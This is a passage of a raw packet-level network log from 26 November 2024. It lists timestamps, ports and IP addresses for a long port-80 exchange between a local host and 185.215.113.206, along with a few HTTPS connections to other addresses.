Nov 26, 2024 08:03:49.160269022 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.160301924 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.160430908 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.160567045 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.160629034 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.160672903 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.160790920 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.161468029 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.161524057 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.161597967 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.161649942 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.162379980 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.162465096 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.162486076 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.162533998 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.163290977 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.163355112 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.163378954 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.163625002 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.164211988 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.164288044 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.164300919 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.164336920 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.165107012 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.165179968 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.165188074 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.165293932 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.165998936 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.166054010 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.166089058 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.166280985 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.166990995 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.167073011 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.167108059 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.167185068 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.167979956 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.168042898 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.168077946 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.168128967 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.168817997 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.168955088 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.169032097 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.169825077 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.169883966 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.169894934 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.170124054 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.170708895 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.170764923 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.170803070 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.170883894 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.171554089 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.171653032 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.171674967 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.171798944 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.172612906 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.172672987 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.172693968 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.172741890 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.173489094 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.173547029 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.173619032 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.173732996 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.174438953 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.174494028 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.174525023 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.174602032 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.175223112 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.175282001 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.175386906 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.175442934 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.176160097 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.176232100 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.176287889 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.176410913 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.176862001 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.176934958 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.176954031 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.177037954 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.177715063 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.177767992 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.177819014 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.177865028 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.178636074 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.178710938 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.178714991 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.178766966 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.179544926 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.179639101 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.179670095 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.179858923 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.180427074 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.180514097 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.180520058 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.180623055 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.181317091 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.181387901 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.181431055 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.181487083 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.182224989 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.182338953 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.182342052 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.182420015 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.183134079 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.183218002 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.183249950 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.183458090 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.184010029 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.184083939 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.184101105 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.184201002 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.184922934 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.184983015 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.185017109 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.185056925 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.185826063 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.185894012 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.185930967 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.185970068 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.186743021 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.186804056 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.186836958 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.186999083 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.187642097 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.187711000 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.187747002 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.187829971 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.188527107 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.188616991 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.188647985 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.188687086 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.189435005 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.189511061 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.189524889 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.189567089 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.190329075 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.190438032 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.190443993 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.190675020 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.191242933 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.191303015 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.191330910 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.191437006 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.192146063 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.192218065 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.192234039 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.192290068 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.193068027 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.193137884 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.193176985 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.193248987 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.193912983 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.193975925 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.194031954 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.194081068 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.194863081 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.195063114 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.195118904 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.195772886 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.195823908 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.195852995 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.195873022 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.196701050 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.196799994 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.196871042 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.197582006 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.197674036 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.197698116 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.197752953 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.198523045 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.198606968 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.198621035 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.198677063 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.199356079 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.199424982 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.199454069 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.199635029 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.200248957 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.200305939 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.200361967 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.200432062 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.201150894 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.201220989 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.201266050 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.201328993 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.202064991 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.202120066 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.202174902 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.202964067 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.203016996 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.203064919 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.203114986 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.203799963 CET	443	49796	204.79.197.203	192.168.2.8
Nov 26, 2024 08:03:49.203815937 CET	443	49796	204.79.197.203	192.168.2.8
Nov 26, 2024 08:03:49.203844070 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.203877926 CET	49796	443	192.168.2.8	204.79.197.203
Nov 26, 2024 08:03:49.203897953 CET	443	49796	204.79.197.203	192.168.2.8
Nov 26, 2024 08:03:49.203917027 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.203953028 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.204469919 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.204821110 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.204868078 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.204921007 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.204965115 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.205790043 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.205882072 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.205895901 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.205970049 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.206564903 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.206650019 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.206695080 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.207431078 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.207541943 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.220629930 CET	443	49796	204.79.197.203	192.168.2.8
Nov 26, 2024 08:03:49.220717907 CET	49796	443	192.168.2.8	204.79.197.203
Nov 26, 2024 08:03:49.220738888 CET	443	49796	204.79.197.203	192.168.2.8
Nov 26, 2024 08:03:49.229119062 CET	443	49796	204.79.197.203	192.168.2.8
Nov 26, 2024 08:03:49.229183912 CET	49796	443	192.168.2.8	204.79.197.203
Nov 26, 2024 08:03:49.229198933 CET	443	49796	204.79.197.203	192.168.2.8
Nov 26, 2024 08:03:49.229515076 CET	49796	443	192.168.2.8	204.79.197.203
Nov 26, 2024 08:03:49.244657040 CET	443	49806	20.96.153.111	192.168.2.8
Nov 26, 2024 08:03:49.244910002 CET	49806	443	192.168.2.8	20.96.153.111
Nov 26, 2024 08:03:49.244936943 CET	443	49806	20.96.153.111	192.168.2.8
Nov 26, 2024 08:03:49.246393919 CET	443	49806	20.96.153.111	192.168.2.8
Nov 26, 2024 08:03:49.246463060 CET	49806	443	192.168.2.8	20.96.153.111
Nov 26, 2024 08:03:49.247514963 CET	49806	443	192.168.2.8	20.96.153.111
Nov 26, 2024 08:03:49.247602940 CET	443	49806	20.96.153.111	192.168.2.8
Nov 26, 2024 08:03:49.247706890 CET	49806	443	192.168.2.8	20.96.153.111
Nov 26, 2024 08:03:49.281618118 CET	443	49795	204.79.197.203	192.168.2.8
Nov 26, 2024 08:03:49.281645060 CET	443	49795	204.79.197.203	192.168.2.8
Nov 26, 2024 08:03:49.281738043 CET	49795	443	192.168.2.8	204.79.197.203
Nov 26, 2024 08:03:49.281749964 CET	443	49795	204.79.197.203	192.168.2.8
Nov 26, 2024 08:03:49.291331053 CET	443	49806	20.96.153.111	192.168.2.8
Nov 26, 2024 08:03:49.291718960 CET	49806	443	192.168.2.8	20.96.153.111
Nov 26, 2024 08:03:49.291727066 CET	443	49806	20.96.153.111	192.168.2.8
Nov 26, 2024 08:03:49.307919025 CET	443	49795	204.79.197.203	192.168.2.8
Nov 26, 2024 08:03:49.307934999 CET	443	49795	204.79.197.203	192.168.2.8
Nov 26, 2024 08:03:49.308243990 CET	49795	443	192.168.2.8	204.79.197.203
Nov 26, 2024 08:03:49.308259010 CET	443	49795	204.79.197.203	192.168.2.8
Nov 26, 2024 08:03:49.313452959 CET	443	49805	20.189.173.17	192.168.2.8
Nov 26, 2024 08:03:49.314104080 CET	49805	443	192.168.2.8	20.189.173.17
Nov 26, 2024 08:03:49.314166069 CET	443	49805	20.189.173.17	192.168.2.8
Nov 26, 2024 08:03:49.315186977 CET	443	49805	20.189.173.17	192.168.2.8
Nov 26, 2024 08:03:49.315259933 CET	49805	443	192.168.2.8	20.189.173.17
Nov 26, 2024 08:03:49.320636034 CET	49805	443	192.168.2.8	20.189.173.17
Nov 26, 2024 08:03:49.320863962 CET	443	49805	20.189.173.17	192.168.2.8
Nov 26, 2024 08:03:49.321237087 CET	49805	443	192.168.2.8	20.189.173.17
Nov 26, 2024 08:03:49.321281910 CET	49805	443	192.168.2.8	20.189.173.17
Nov 26, 2024 08:03:49.321321011 CET	443	49805	20.189.173.17	192.168.2.8
Nov 26, 2024 08:03:49.324819088 CET	443	49795	204.79.197.203	192.168.2.8
Nov 26, 2024 08:03:49.324891090 CET	49795	443	192.168.2.8	204.79.197.203
Nov 26, 2024 08:03:49.324908018 CET	443	49795	204.79.197.203	192.168.2.8
Nov 26, 2024 08:03:49.337177992 CET	49806	443	192.168.2.8	20.96.153.111
Nov 26, 2024 08:03:49.368263960 CET	49805	443	192.168.2.8	20.189.173.17
Nov 26, 2024 08:03:49.368284941 CET	443	49805	20.189.173.17	192.168.2.8
Nov 26, 2024 08:03:49.368325949 CET	49795	443	192.168.2.8	204.79.197.203
Nov 26, 2024 08:03:49.370547056 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.370588064 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.370609999 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.370825052 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.370841026 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.370887041 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.370907068 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.371227980 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.371695042 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.371779919 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.371864080 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.372582912 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.372720003 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.372772932 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.373565912 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.373616934 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.373706102 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.373754978 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.374488115 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.374557018 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.374622107 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.375351906 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.375405073 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.375438929 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.375588894 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.376180887 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.376293898 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.376303911 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.376389027 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.377140045 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.377214909 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.377298117 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.377351046 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.377993107 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.378082991 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.378114939 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.378155947 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.378920078 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.379046917 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.379102945 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.379801989 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.379869938 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.379900932 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.379954100 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.380760908 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.380810022 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.380848885 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.380887985 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.381608963 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.381741047 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.381764889 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.381788969 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.382503986 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.382550955 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.382606983 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.382780075 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.383415937 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.383482933 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.383523941 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.383579016 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.384381056 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.384547949 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.384622097 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.385319948 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.385390043 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.385442019 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.386116982 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.386178017 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.386236906 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.386317015 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.387034893 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.387130022 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.387209892 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.387911081 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.387980938 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.388109922 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.388226986 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.388828039 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.388917923 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.388932943 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.388998985 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.389750957 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.389816999 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.389847994 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:49.389894962 CET	49747	80	192.168.2.8	185.215.113.206
